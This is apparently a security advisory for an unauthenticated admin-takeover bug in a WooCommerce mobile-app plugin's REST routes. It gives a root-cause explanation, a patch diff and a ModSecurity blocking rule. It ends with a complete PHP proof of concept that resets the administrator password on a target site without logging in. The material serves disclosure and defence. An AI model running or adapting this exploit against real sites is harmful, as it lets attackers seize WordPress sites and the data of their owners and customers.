Atomic Edge analysis of CVE-2026-10580:
This vulnerability allows unauthenticated attackers to bypass authentication and take over any WordPress administrator account via the Hippoo Mobile App for WooCommerce plugin (versions <= 1.9.4). The plugin's REST API routes, cloned under /wc-hippoo/v1/ext/, improperly grant full administrator privileges to unauthenticated visitors. The CVSS score is 9.8, indicating critical severity.
The root cause is a logic conflation in HippooPermissions::get_user_permissions(). This function returns null when no user is logged in (line 673 of the vulnerable code). The function has_role_access() (line 697) interprets null as full administrator access and returns true. This bypasses both the permission callback override_extension_permission_callback() and the pre-dispatch guard block_unauthorized_access(). The result is that every WordPress and WooCommerce REST endpoint cloned under /wc-hippoo/v1/ext/ becomes accessible without authentication.
An attacker exploits this by sending a POST request to /wc-hippoo/v1/ext/wp/v2/users/ with a JSON body containing a new password. The attacker can target user ID 1 (the default administrator account). The request triggers the core WordPress REST API endpoint (cloned under the Hippoo namespace) to update the user’s password. No authentication is required because the authentication bypass grants the request full administrator privileges.
The patch changes get_user_permissions() to return false instead of null when no user is authenticated (line 673-674). It also changes the fallback return value from null to false (line 691). In has_role_access(), a new check for false returns false (lines 698-700), denying access to unauthenticated users. The null check still returns true for authenticated administrators, preserving normal functionality.
Successful exploitation gives an unauthenticated attacker complete control over the WordPress site. The attacker can change any user’s password, including administrators. Once the administrator password is changed, the attacker can log in as that administrator and perform any action: installing malicious plugins, modifying content, exfiltrating data, or creating backdoors. The entire site is compromised.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/hippoo/app/permissions.php
+++ b/hippoo/app/permissions.php
@@ -671,8 +671,9 @@
public static function get_user_permissions()
{
$user = wp_get_current_user();
- if (empty($user) || !$user->exists()) {
- return null;
+
+ if (empty($user) || !$user->exists() || !is_user_logged_in()) {
+ return false;
}
if (in_array('administrator', (array) $user->roles)) {
@@ -681,14 +682,12 @@
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
- if (!isset($settings[$role])) {
- continue;
+ if (isset($settings[$role])) {
+ return $settings[$role];
}
-
- return $settings[$role];
}
- return null; // Full access
+ return false; // No access
}
private function has_role_access($section, $key = null)
@@ -696,7 +695,11 @@
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
+ }
+
+ if ($perms === false) {
+ return false;
}
if (empty($perms['general']['enable_access'])) {
--- a/hippoo/hippoo.php
+++ b/hippoo/hippoo.php
@@ -1,7 +1,7 @@
<?php
/**
* Plugin Name: Hippoo Mobile app for WooCommerce
- * Version: 1.9.4
+ * Version: 1.9.5
* Plugin URI: https://Hippoo.app/
* Description: Best WooCommerce App Alternative – Manage orders and products on the go with real-time notifications, seamless order and product management, and powerful add-ons. Available for Android & iOS. 🚀.
* Short Description: Best WooCommerce App Alternative – Manage orders and products on the go with real-time notifications, seamless order and product management, and powerful add-ons. Available for Android & iOS. 🚀.
@@ -29,7 +29,7 @@
exit;
}
-define('HIPPOO_VERSION', '1.9.4');
+define('HIPPOO_VERSION', '1.9.5');
define('HIPPOO_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
define('HIPPOO_MAIN_FILE_PATH', __FILE__);
define('HIPPOO_DIR', __DIR__);
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-json/wc-hippoo/v1/ext/wp/v2/users/"
"id:20261994,phase:2,deny,status:403,msg:'CVE-2026-10580 via Hippoo REST API Administrator Takeover',severity:'CRITICAL',tag:'CVE-2026-10580'"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10580 - Hippoo Mobile App for WooCommerce <= 1.9.4 - Unauthenticated Authentication Bypass to Administrator Account Takeover via REST API
$target_url = 'http://example.com'; // Change this to the target WordPress URL
// Step 1: Target the administrator user (usually ID 1)
$admin_user_id = 1;
$new_password = 'Pwned123!';
$endpoint = $target_url . '/wp-json/wc-hippoo/v1/ext/wp/v2/users/' . $admin_user_id;
// Step 2: Build the payload to reset the admin password
$payload = json_encode([
'password' => $new_password
]);
// Step 3: Send the POST request (no authentication required)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Content-Length: ' . strlen($payload)
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing with self-signed certs
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Check if the attack succeeded
if ($http_code == 200) {
echo "[+] Password for user ID $admin_user_id has been changed to: $new_passwordn";
echo "[+] You can now log in as admin using these credentials.n";
} else {
echo "[-] Attack failed. HTTP response code: $http_coden";
echo "[-] Response: $responsen";
}
?>
